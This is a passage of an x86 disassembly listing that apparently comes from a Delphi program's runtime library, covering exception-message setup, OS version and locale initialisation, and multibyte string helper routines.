lea edx, [ebp+var_4]
mov eax, off_4001B01C
call sub_400062F0
loc_4000B4E6: ; CODE XREF: sub_4000B488+4Fj
mov esi, [ebx+18h]
push 1Ch
lea eax, [ebp+var_20]
push eax
mov eax, [ebx+0Ch]
push eax
call sub_40006648 ; VirtualQuery
cmp [ebp+var_10], 1000h
jnz loc_4000B5B8
push 105h
lea eax, [ebp+var_125]
push eax
mov eax, [ebp+var_1C]
push eax
call sub_40006598 ; GetModuleFileNameA
test eax, eax
jz loc_4000B5B8
mov eax, [ebx+0Ch]
mov [ebp+var_148], eax
mov [ebp+var_144], 5
lea eax, [ebp+var_150]
lea edx, [ebp+var_125]
mov ecx, 105h
call sub_40004AF4
mov eax, [ebp+var_150]
lea edx, [ebp+var_14C]
call sub_400080B0
mov eax, [ebp+var_14C]
mov [ebp+var_140], eax
mov [ebp+var_13C], 0Bh
mov eax, [ebp+var_4]
mov [ebp+var_138], eax
mov [ebp+var_134], 0Bh
mov [ebp+var_130], esi
mov [ebp+var_12C], 5
lea eax, [ebp+var_148]
push eax
push 3
lea edx, [ebp+var_154]
mov eax, off_4001B060
call sub_400062F0
mov ecx, [ebp+var_154]
mov dl, 1
mov eax, ds:off_40007440
call sub_4000B06C
mov ebx, eax
jmp short loc_4000B612
; ---------------------------------------------------------------------------
loc_4000B5B8: ; CODE XREF: sub_4000B488+77j
; sub_4000B488+94j
mov eax, [ebx+0Ch]
mov [ebp+var_16C], eax
mov [ebp+var_168], 5
mov eax, [ebp+var_4]
mov [ebp+var_164], eax
mov [ebp+var_160], 0Bh
mov [ebp+var_15C], esi
mov [ebp+var_158], 5
lea eax, [ebp+var_16C]
push eax
push 2
lea edx, [ebp+var_170]
mov eax, off_4001B020
call sub_400062F0
mov ecx, [ebp+var_170]
mov dl, 1
mov eax, ds:off_40007440
call sub_4000B06C
mov ebx, eax
loc_4000B612: ; CODE XREF: sub_4000B488+12Ej
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000B64A
loc_4000B61F: ; CODE XREF: sub_4000B488+1C0j
lea eax, [ebp+var_170]
call sub_40004884
lea eax, [ebp+var_154]
mov edx, 3
call sub_400048A8
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000B643: ; DATA XREF: sub_4000B488+2Bo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000B61F
; ---------------------------------------------------------------------------
loc_4000B64A: ; CODE XREF: sub_4000B488+1BAj
; DATA XREF: sub_4000B488+192o
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000B488 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000B654 proc near ; CODE XREF: sub_400040D8+33p
; .text:40004498p
; DATA XREF: ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
xor edx, edx
mov [ebp+var_10], edx
mov [ebp+var_4], eax
xor eax, eax
push ebp
push offset loc_4000B70D
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
call sub_4000B3F0
movzx eax, al
mov edx, eax
add edx, 0FFFFFFFDh
sub edx, 8
jb short loc_4000B68E
jz short loc_4000B6A5
dec edx
sub edx, 0Ah
jnb short loc_4000B6B0
loc_4000B68E: ; CODE XREF: sub_4000B654+30j
lea eax, dword_4001A93C[eax*8]
mov ecx, [eax+4]
mov eax, [eax]
mov dl, 1
call sub_4000B030
mov ebx, eax
jmp short loc_4000B6E0
; ---------------------------------------------------------------------------
loc_4000B6A5: ; CODE XREF: sub_4000B654+32j
push ebp
call sub_4000B488
pop ecx
mov ebx, eax
jmp short loc_4000B6E0
; ---------------------------------------------------------------------------
loc_4000B6B0: ; CODE XREF: sub_4000B654+38j
mov eax, [ebp+var_4]
mov eax, [eax]
mov [ebp+var_C], eax
mov [ebp+var_8], 0
lea eax, [ebp+var_C]
push eax
push 0
lea edx, [ebp+var_10]
mov eax, off_4001AEE0
call sub_400062F0
mov ecx, [ebp+var_10]
mov dl, 1
mov eax, ds:off_40006FB0
call sub_4000B06C
mov ebx, eax
loc_4000B6E0: ; CODE XREF: sub_4000B654+4Fj
; sub_4000B654+5Aj
mov eax, ebx
mov edx, ds:off_40006F58
call sub_40003E74
test al, al
jz short loc_4000B6F7
mov eax, [ebp+var_4]
mov [ebx+0Ch], eax
loc_4000B6F7: ; CODE XREF: sub_4000B654+9Bj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000B714
loc_4000B704: ; CODE XREF: sub_4000B654+BEj
lea eax, [ebp+var_10]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000B70D: ; DATA XREF: sub_4000B654+12o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000B704
; ---------------------------------------------------------------------------
loc_4000B714: ; CODE XREF: sub_4000B654+B8j
; DATA XREF: sub_4000B654+ABo
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000B654 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4000B71C proc near ; CODE XREF: .text:400044B4p
; DATA XREF: sub_4000B72C+3Eo ...
call sub_4000AF68
mov eax, 1
call sub_4000486C
sub_4000B71C endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_4000B72C proc near ; CODE XREF: sub_400190AC:loc_400190F2p
mov ecx, off_4001AF2C
mov dl, 1
mov eax, ds:off_40006EA4
call sub_4000B0EC
mov ds:dword_4001E91C, eax
mov ecx, off_4001AFFC
mov dl, 1
mov eax, ds:off_4000732C
call sub_4000B0EC
mov ds:dword_4001E920, eax
mov eax, off_4001AEEC
mov dword ptr [eax], offset sub_4000B2B0
mov eax, off_4001AF5C
mov dword ptr [eax], offset sub_4000B71C
mov eax, off_4001AF1C
mov edx, ds:off_40006DE0
mov [eax], edx
mov eax, off_4001AF54
mov dword ptr [eax], offset sub_4000B470
mov eax, off_4001AF60
mov dword ptr [eax], offset sub_4000B654
mov eax, offset sub_4000B3BC
mov edx, off_4001B00C
mov [edx], eax
mov eax, offset sub_4000B3D8
mov edx, off_4001AEDC
mov [edx], eax
retn
sub_4000B72C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000B7B0 proc near ; CODE XREF: sub_4000CC50+36p
cmp ds:dword_4001E91C, 0
jz short loc_4000B7D3
mov eax, ds:dword_4001E91C
mov byte ptr [eax+0Ch], 1
mov eax, ds:dword_4001E91C
mov edx, [eax]
call dword ptr [edx-8]
xor eax, eax
mov ds:dword_4001E91C, eax
loc_4000B7D3: ; CODE XREF: sub_4000B7B0+7j
cmp ds:dword_4001E920, 0
jz short loc_4000B7F6
mov eax, ds:dword_4001E920
mov byte ptr [eax+0Ch], 1
mov eax, ds:dword_4001E920
call sub_40003CE8
xor eax, eax
mov ds:dword_4001E920, eax
loc_4000B7F6: ; CODE XREF: sub_4000B7B0+2Aj
mov eax, off_4001AEEC
xor edx, edx
mov [eax], edx
mov eax, off_4001AF5C
xor edx, edx
mov [eax], edx
mov eax, off_4001AF1C
xor edx, edx
mov [eax], edx
mov eax, off_4001AF54
xor edx, edx
mov [eax], edx
mov eax, off_4001AF60
xor edx, edx
mov [eax], edx
mov eax, off_4001B00C
xor edx, edx
mov [eax], edx
retn
sub_4000B7B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000B830 proc near ; CODE XREF: sub_400190AC+55p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
add esp, 0FFFFFF6Ch
mov [esp+94h+var_94], 94h
push esp
call sub_400065D8 ; GetVersionExA
test eax, eax
jz short loc_4000B897
mov eax, [esp+94h+var_84]
mov dword_4001A7E4, eax
mov eax, [esp+94h+var_90]
mov dword_4001A7E8, eax
mov eax, [esp+94h+var_8C]
mov dword_4001A7EC, eax
cmp dword_4001A7E4, 1
jnz short loc_4000B87B
mov eax, [esp+94h+var_88]
and eax, 0FFFFh
mov dword_4001A7F0, eax
jmp short loc_4000B884
; ---------------------------------------------------------------------------
loc_4000B87B: ; CODE XREF: sub_4000B830+39j
mov eax, [esp+94h+var_88]
mov dword_4001A7F0, eax
loc_4000B884: ; CODE XREF: sub_4000B830+49j
mov eax, offset dword_4001A7F4
lea edx, [esp+94h+var_80]
mov ecx, 80h
call sub_40004AF4
loc_4000B897: ; CODE XREF: sub_4000B830+15j
add esp, 94h
retn
sub_4000B830 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000B8A0 proc near ; CODE XREF: sub_4000B914+1Bp
; sub_4000B938+Bp
push esi
push edi
mov edi, edx
xor edx, edx
test eax, eax
jz short loc_4000B90C
cmp byte ptr [eax+edi], 0
jz short loc_4000B90C
test edi, edi
jnz short loc_4000B8C7
movzx eax, byte ptr [eax]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_4000B90C
mov dl, 1
jmp short loc_4000B90C
; ---------------------------------------------------------------------------
loc_4000B8C7: ; CODE XREF: sub_4000B8A0+12j
mov esi, edi
dec esi
jmp short loc_4000B8CD
; ---------------------------------------------------------------------------
loc_4000B8CC: ; CODE XREF: sub_4000B8A0+3Fj
dec esi
loc_4000B8CD: ; CODE XREF: sub_4000B8A0+2Aj
test esi, esi
jl short loc_4000B8E1
movzx ecx, byte ptr [eax+esi]
movzx ecx, cl
bt dword_4001A82C, ecx
jb short loc_4000B8CC
loc_4000B8E1: ; CODE XREF: sub_4000B8A0+2Fj
mov ecx, edi
sub ecx, esi
and ecx, 80000001h
jns short loc_4000B8F2
dec ecx
or ecx, 0FFFFFFFEh
inc ecx
loc_4000B8F2: ; CODE XREF: sub_4000B8A0+4Bj
test ecx, ecx
jnz short loc_4000B8FA
mov dl, 2
jmp short loc_4000B90C
; ---------------------------------------------------------------------------
loc_4000B8FA: ; CODE XREF: sub_4000B8A0+54j
movzx eax, byte ptr [eax+edi]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_4000B90C
mov dl, 1
loc_4000B90C: ; CODE XREF: sub_4000B8A0+8j
; sub_4000B8A0+Ej ...
mov eax, edx
pop edi
pop esi
retn
sub_4000B8A0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000B914 proc near ; CODE XREF: sub_40008028+1Cp
; sub_4000805C+3Cp
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
cmp byte ptr ds:dword_4001E8D4, 0
jz short loc_4000B934
mov eax, ebx
call sub_40004D48
mov edx, esi
dec edx
call sub_4000B8A0
loc_4000B934: ; CODE XREF: sub_4000B914+Fj
pop esi
pop ebx
retn
sub_4000B914 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000B938 proc near ; CODE XREF: sub_4000828C+1Bp
; sub_4000BC30+4Ap ...
xor ecx, ecx
cmp byte ptr ds:dword_4001E8D4, 0
jz short loc_4000B94A
call sub_4000B8A0
mov ecx, eax
loc_4000B94A: ; CODE XREF: sub_4000B938+9j
mov eax, ecx
retn
sub_4000B938 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000B950 proc near ; CODE XREF: sub_40009414+F8p
push ebx
mov ebx, eax
mov ecx, ebx
test ecx, ecx
jz short loc_4000B95E
sub ecx, 4
mov ecx, [ecx]
loc_4000B95E: ; CODE XREF: sub_4000B950+7j
cmp edx, ecx
jle short loc_4000B96D
mov edx, ebx
test edx, edx
jz short loc_4000B96D
sub edx, 4
mov edx, [edx]
loc_4000B96D: ; CODE XREF: sub_4000B950+10j
; sub_4000B950+16j
call sub_4000B974
pop ebx
retn
sub_4000B950 endp
; =============== S U B R O U T I N E =======================================
sub_4000B974 proc near ; CODE XREF: sub_4000B950:loc_4000B96Dp
push ebx
push esi
push edi
push ebp
mov ebp, edx
mov edi, eax
xor esi, esi
test ebp, ebp
jg short loc_4000B986
mov al, 1
jmp short loc_4000B996
; ---------------------------------------------------------------------------
loc_4000B986: ; CODE XREF: sub_4000B974+Cj
mov eax, edi
test eax, eax
jz short loc_4000B991
sub eax, 4
mov eax, [eax]
loc_4000B991: ; CODE XREF: sub_4000B974+16j
cmp eax, ebp
setl al
loc_4000B996: ; CODE XREF: sub_4000B974+10j
test al, al
jnz short loc_4000B9D4
mov esi, ebp
cmp byte ptr ds:dword_4001E8D4, 0
jz short loc_4000B9D4
mov ebx, 1
xor esi, esi
cmp ebp, ebx
jl short loc_4000B9D4
loc_4000B9B0: ; CODE XREF: sub_4000B974+5Ej
movzx eax, byte ptr [edi+ebx-1]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_4000B9CE
mov edx, ebx
mov eax, edi
call sub_4000BBC0
mov ebx, eax
jmp short loc_4000B9CF
; ---------------------------------------------------------------------------
loc_4000B9CE: ; CODE XREF: sub_4000B974+4Bj
inc ebx
loc_4000B9CF: ; CODE XREF: sub_4000B974+58j
inc esi
cmp ebp, ebx
jge short loc_4000B9B0
loc_4000B9D4: ; CODE XREF: sub_4000B974+24j
; sub_4000B974+2Fj ...
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000B974 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000B9DC proc near ; CODE XREF: sub_4000BA6C+45p
; sub_4000BAF0+3Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_8], ecx
mov [ebp+var_4], edx
mov edi, eax
mov eax, edi
test eax, eax
jz short loc_4000B9F8
sub eax, 4
mov eax, [eax]
loc_4000B9F8: ; CODE XREF: sub_4000B9DC+15j
mov [ebp+var_C], eax
mov esi, 1
mov ebx, 1
jmp short loc_4000BA27
; ---------------------------------------------------------------------------
loc_4000BA07: ; CODE XREF: sub_4000B9DC+53j
inc esi
movzx eax, byte ptr [edi+ebx-1]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_4000BA26
mov edx, ebx
mov eax, edi
call sub_4000BBC0
mov ebx, eax
jmp short loc_4000BA27
; ---------------------------------------------------------------------------
loc_4000BA26: ; CODE XREF: sub_4000B9DC+3Bj
inc ebx
loc_4000BA27: ; CODE XREF: sub_4000B9DC+29j
; sub_4000B9DC+48j
cmp ebx, [ebp+var_C]
jge short loc_4000BA31
cmp esi, [ebp+var_4]
jl short loc_4000BA07
loc_4000BA31: ; CODE XREF: sub_4000B9DC+4Ej
cmp esi, [ebp+var_4]
jnz short loc_4000BA58
cmp ebx, [ebp+var_C]
jge short loc_4000BA58
movzx eax, byte ptr [edi+ebx-1]
movzx eax, al
bt dword_4001A82C, eax
jnb short loc_4000BA58
mov edx, ebx
mov eax, edi
call sub_4000BBC0
dec eax
mov ebx, eax
loc_4000BA58: ; CODE XREF: sub_4000B9DC+58j
; sub_4000B9DC+5Dj ...
mov eax, [ebp+var_8]
mov [eax], esi
mov eax, [ebp+arg_0]
mov [eax], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_4000B9DC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000BA6C proc near ; CODE XREF: sub_40009414+109p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
push ebx
push esi
push edi
add esp, 0FFFFFFF8h
mov ebx, edx
mov esi, eax
xor eax, eax
mov [esp+14h+var_14], eax
test ebx, ebx
jg short loc_4000BA83
mov al, 1
jmp short loc_4000BA93
; ---------------------------------------------------------------------------
loc_4000BA83: ; CODE XREF: sub_4000BA6C+11j
mov eax, esi
test eax, eax
jz short loc_4000BA8E
sub eax, 4
mov eax, [eax]
loc_4000BA8E: ; CODE XREF: sub_4000BA6C+1Bj
cmp eax, ebx
setl al
loc_4000BA93: ; CODE XREF: sub_4000BA6C+15j
test al, al
jnz short loc_4000BAE4
cmp ebx, 1
jle short loc_4000BAE1
cmp byte ptr ds:dword_4001E8D4, 0
jz short loc_4000BAE1
push esp
lea ecx, [esp+18h+var_10]
mov edi, ebx
dec edi
mov edx, edi
mov eax, esi
call sub_4000B9DC
cmp edi, [esp+14h+var_10]
jle short loc_4000BAC0
mov al, 1
jmp short loc_4000BAD1
; ---------------------------------------------------------------------------
loc_4000BAC0: ; CODE XREF: sub_4000BA6C+4Ej
mov eax, esi
test eax, eax
jz short loc_4000BACB
sub eax, 4
mov eax, [eax]
loc_4000BACB: ; CODE XREF: sub_4000BA6C+58j
cmp eax, [esp+14h+var_14]
setle al
loc_4000BAD1: ; CODE XREF: sub_4000BA6C+52j
test al, al
jz short loc_4000BADC
xor eax, eax
mov [esp+14h+var_14], eax
jmp short loc_4000BAE4
; ---------------------------------------------------------------------------
loc_4000BADC: ; CODE XREF: sub_4000BA6C+67j
inc [esp+14h+var_14]
jmp short loc_4000BAE4
; ---------------------------------------------------------------------------
loc_4000BAE1: ; CODE XREF: sub_4000BA6C+2Ej
; sub_4000BA6C+37j
mov [esp+14h+var_14], ebx
loc_4000BAE4: ; CODE XREF: sub_4000BA6C+29j
; sub_4000BA6C+6Ej ...
mov eax, [esp+14h+var_14]
pop ecx
pop edx
pop edi
pop esi
pop ebx
retn
sub_4000BA6C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000BAF0 proc near ; CODE XREF: sub_40009414+BFp
; sub_40009414+131p
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
push ebx
push esi
add esp, 0FFFFFFF8h
mov ebx, eax
xor eax, eax
mov [esp+10h+var_10], eax
test edx, edx
jle short loc_4000BB56
mov esi, ebx
mov eax, esi
test eax, eax
jz short loc_4000BB0D
sub eax, 4
mov eax, [eax]
loc_4000BB0D: ; CODE XREF: sub_4000BAF0+16j
cmp eax, edx
jge short loc_4000BB1E
mov eax, esi
test eax, eax
jz short loc_4000BB1C
sub eax, 4
mov eax, [eax]
loc_4000BB1C: ; CODE XREF: sub_4000BAF0+25j
mov edx, eax
loc_4000BB1E: ; CODE XREF: sub_4000BAF0+1Fj
cmp byte ptr ds:dword_4001E8D4, 0
jz short loc_4000BB53
push esp
lea ecx, [esp+14h+var_C]
mov eax, ebx
call sub_4000B9DC
mov eax, esi
test eax, eax
jz short loc_4000BB3E
sub eax, 4
mov eax, [eax]
loc_4000BB3E: ; CODE XREF: sub_4000BAF0+47j
cmp eax, [esp+10h+var_10]
jge short loc_4000BB56
mov eax, esi
test eax, eax
jz short loc_4000BB4E
sub eax, 4
mov eax, [eax]
loc_4000BB4E: ; CODE XREF: sub_4000BAF0+57j
mov [esp+10h+var_10], eax
jmp short loc_4000BB56
; ---------------------------------------------------------------------------
loc_4000BB53: ; CODE XREF: sub_4000BAF0+35j
mov [esp+10h+var_10], edx
loc_4000BB56: ; CODE XREF: sub_4000BAF0+Ej
; sub_4000BAF0+51j ...
mov eax, [esp+10h+var_10]
pop ecx
pop edx
pop esi
pop ebx
retn
sub_4000BAF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000BB60 proc near ; CODE XREF: sub_400096A8+7Ap
; sub_4000BB88+2Fp ...
push ebx
mov ebx, eax
cmp byte ptr ds:dword_4001E8D4, 0
jz short loc_4000BB76
push ebx
call sub_40006708 ; CharNextA
sub eax, ebx
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4000BB76: ; CODE XREF: sub_4000BB60+Aj
mov eax, 1
pop ebx
retn
sub_4000BB60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000BB80 proc near ; CODE XREF: sub_400096A8+8Bp
; sub_400096A8+9Dp ...
push eax
call sub_40006708 ; CharNextA
retn
sub_4000BB80 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000BB88 proc near ; CODE XREF: sub_4000ABA4+D2p
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, 1
cmp byte ptr ds:dword_4001E8D4, 0
jz short loc_4000BBBC
movzx edx, byte ptr [ebx+esi-1]
movzx edx, dl
bt dword_4001A82C, edx
jnb short loc_4000BBBC
mov eax, ebx
call sub_40004D48
add eax, esi
dec eax
call sub_4000BB60
loc_4000BBBC: ; CODE XREF: sub_4000BB88+12j
; sub_4000BB88+23j
pop esi
pop ebx
retn
sub_4000BB88 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000BBC0 proc near ; CODE XREF: sub_4000A0D4+1Fp
; sub_4000B974+51p ...
push ebx
push esi
mov ebx, edx
mov esi, eax
lea eax, [ebx+1]
cmp byte ptr ds:dword_4001E8D4, 0
jz short loc_4000BBF4
movzx edx, byte ptr [esi+ebx-1]
movzx edx, dl
bt dword_4001A82C, edx
jnb short loc_4000BBF4
mov eax, esi
call sub_40004D48
add eax, ebx
dec eax
call sub_4000BB60
add eax, ebx
loc_4000BBF4: ; CODE XREF: sub_4000BBC0+10j
; sub_4000BBC0+21j
pop esi
pop ebx
retn
sub_4000BBC0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000BBF8 proc near ; CODE XREF: sub_4000A1CC+9Dp
push ebx
push esi
push edi
push ebp
mov esi, edx
mov ebx, eax
xor edi, edi
mov eax, ebx
call sub_40004D48
push eax
mov eax, esi
call sub_40004D48
mov ebp, eax
mov eax, ebp
pop edx
call sub_4000BC30
mov ebx, eax
test ebx, ebx
jz short loc_4000BC26
mov edi, ebx
sub edi, ebp
inc edi
loc_4000BC26: ; CODE XREF: sub_4000BBF8+27j
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000BBF8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000BC30 proc near ; CODE XREF: sub_4000A11C+30p
; sub_4000BBF8+1Ep
var_18 = dword ptr -18h
var_14 = byte ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF8h
mov ebp, edx
mov esi, eax
xor ebx, ebx
test esi, esi
jz loc_4000BCC6
cmp byte ptr [esi], 0
jz short loc_4000BCC6
test ebp, ebp
jz short loc_4000BCC6
cmp byte ptr [ebp+0], 0
jz short loc_4000BCC6
mov eax, esi
call sub_4000815C
mov [esp+18h+var_18], eax
mov eax, ebp
call sub_4000815C
mov edi, eax
mov edx, ebp
mov eax, esi
call sub_40008238
mov ebx, eax
jmp short loc_4000BCB3
; ---------------------------------------------------------------------------
loc_4000BC74: ; CODE XREF: sub_4000BC30+92j
mov edx, ebx
sub edx, esi
mov eax, esi
call sub_4000B938
mov [esp+18h+var_14], al
cmp [esp+18h+var_14], 2
jz short loc_4000BC9F
push edi
push ebp
push edi
push ebx
push 0
push 400h
call sub_400064F8 ; CompareStringA
cmp eax, 2
jz short loc_4000BCC6
loc_4000BC9F: ; CODE XREF: sub_4000BC30+58j
cmp [esp+18h+var_14], 1
jnz short loc_4000BCA7
inc ebx
loc_4000BCA7: ; CODE XREF: sub_4000BC30+74j
inc ebx
mov edx, ebp
mov eax, ebx
call sub_40008238
mov ebx, eax
loc_4000BCB3: ; CODE XREF: sub_4000BC30+42j
test ebx, ebx
jz short loc_4000BCC4
mov eax, ebx
sub eax, esi
mov edx, [esp+18h+var_18]
sub edx, eax
cmp edi, edx
jbe short loc_4000BC74
loc_4000BCC4: ; CODE XREF: sub_4000BC30+85j
xor ebx, ebx
loc_4000BCC6: ; CODE XREF: sub_4000BC30+Fj
; sub_4000BC30+18j ...
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000BC30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000BCD0 proc near ; CODE XREF: sub_4000ADE0+7Ep
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov edx, ebx
mov eax, esi
call sub_4000BD04
mov esi, eax
mov edi, esi
test bl, bl
jz short loc_4000BCFE
test esi, esi
jz short loc_4000BCFE
loc_4000BCEC: ; CODE XREF: sub_4000BCD0+2Cj
mov edi, esi
inc esi
mov edx, ebx
mov eax, esi
call sub_4000BD04
mov esi, eax
test esi, esi
jnz short loc_4000BCEC
loc_4000BCFE: ; CODE XREF: sub_4000BCD0+16j
; sub_4000BCD0+1Aj
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_4000BCD0 endp
; =============== S U B R O U T I N E =======================================
sub_4000BD04 proc near ; CODE XREF: sub_4000BCD0+Bp
; sub_4000BCD0+23p
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov edx, ebx
mov eax, esi
call sub_40008224
mov edi, eax
test edi, edi
jz short loc_4000BD3E
loc_4000BD1A: ; CODE XREF: sub_4000BD04+38j
mov edx, edi
sub edx, esi
mov eax, esi
call sub_4000B938
sub al, 1
jb short loc_4000BD3E
jz short loc_4000BD2D
jmp short loc_4000BD2E
; ---------------------------------------------------------------------------
loc_4000BD2D: ; CODE XREF: sub_4000BD04+25j
inc edi
loc_4000BD2E: ; CODE XREF: sub_4000BD04+27j
inc edi
mov edx, ebx
mov eax, edi
call sub_40008224
mov edi, eax
test edi, edi
jnz short loc_4000BD1A
loc_4000BD3E: ; CODE XREF: sub_4000BD04+14j
; sub_4000BD04+23j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_4000BD04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000BD44 proc near ; CODE XREF: sub_4000BDA0+96p
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
add edi, 0FFFFFFECh
push edi
push 0
call sub_40006558 ; GetCPInfo
xor esi, esi
jmp short loc_4000BD87
; ---------------------------------------------------------------------------
loc_4000BD5D: ; CODE XREF: sub_4000BD44+51j
movzx eax, byte ptr [edi+esi+6]
movzx ebx, byte ptr [edi+esi+7]
sub bl, al
jb short loc_4000BD84
inc ebx
mov [ebp+var_1], al
loc_4000BD6F: ; CODE XREF: sub_4000BD44+3Ej
movzx eax, [ebp+var_1]
movzx eax, al
bts dword_4001A82C, eax
inc [ebp+var_1]
dec bl
jnz short loc_4000BD6F
loc_4000BD84: ; CODE XREF: sub_4000BD44+25j
add esi, 2
loc_4000BD87: ; CODE XREF: sub_4000BD44+17j
cmp esi, 0Ch
jge short loc_4000BD97
movzx eax, byte ptr [edi+esi+6]
or al, [edi+esi+7]
jnz short loc_4000BD5D
loc_4000BD97: ; CODE XREF: sub_4000BD44+46j
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_4000BD44 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000BDA0 proc near ; CODE XREF: sub_4000BE64+1Ep
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
mov esi, offset dword_4001E8C8
mov dword ptr [esi], 409h
mov dword ptr [esi+4], 9
mov dword ptr [esi+8], 1
call sub_400065C8 ; GetThreadLocale
test eax, eax
jz short loc_4000BDCD
mov [esi], eax
loc_4000BDCD: ; CODE XREF: sub_4000BDA0+29j
test ax, ax
jz short loc_4000BDE8
mov edx, eax
and dx, 3FFh
movzx edx, dx
mov [esi+4], edx
movzx eax, ax
shr eax, 0Ah
mov [esi+8], eax
loc_4000BDE8: ; CODE XREF: sub_4000BDA0+30j
push esi
mov esi, offset dword_4000BE44
mov edi, offset dword_4001A82C
mov ecx, 8
rep movsd
pop esi
cmp dword_4001A7E8, 4
jle short loc_4000BE13
cmp dword_4001A7E4, 2
jnz short loc_4000BE13
mov byte ptr [esi+0Dh], 1
jmp short loc_4000BE22
; ---------------------------------------------------------------------------
loc_4000BE13: ; CODE XREF: sub_4000BDA0+62j
; sub_4000BDA0+6Bj
push 4Ah
call sub_40006728 ; GetSystemMetrics
test eax, eax
setnz al
mov [esi+0Dh], al
loc_4000BE22: ; CODE XREF: sub_4000BDA0+71j
push 2Ah
call sub_40006728 ; GetSystemMetrics
test eax, eax
setnz bl
mov [esi+0Ch], bl
test bl, bl
jz short loc_4000BE3C
push ebp
call sub_4000BD44
pop ecx
loc_4000BE3C: ; CODE XREF: sub_4000BDA0+93j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000BDA0 endp
; ---------------------------------------------------------------------------
align 4
dword_4000BE44 dd 8 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000BE64 proc near ; CODE XREF: sub_400190AC+5Fp
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov ecx, 8
loc_4000BE6C: ; CODE XREF: sub_4000BE64+Dj
push 0
push 0
dec ecx
jnz short loc_4000BE6C
push ebx
xor eax, eax
push ebp
push offset loc_4000C12F
push dword ptr fs:[eax]
mov fs:[eax], esp
call sub_4000BDA0
call sub_4000A91C
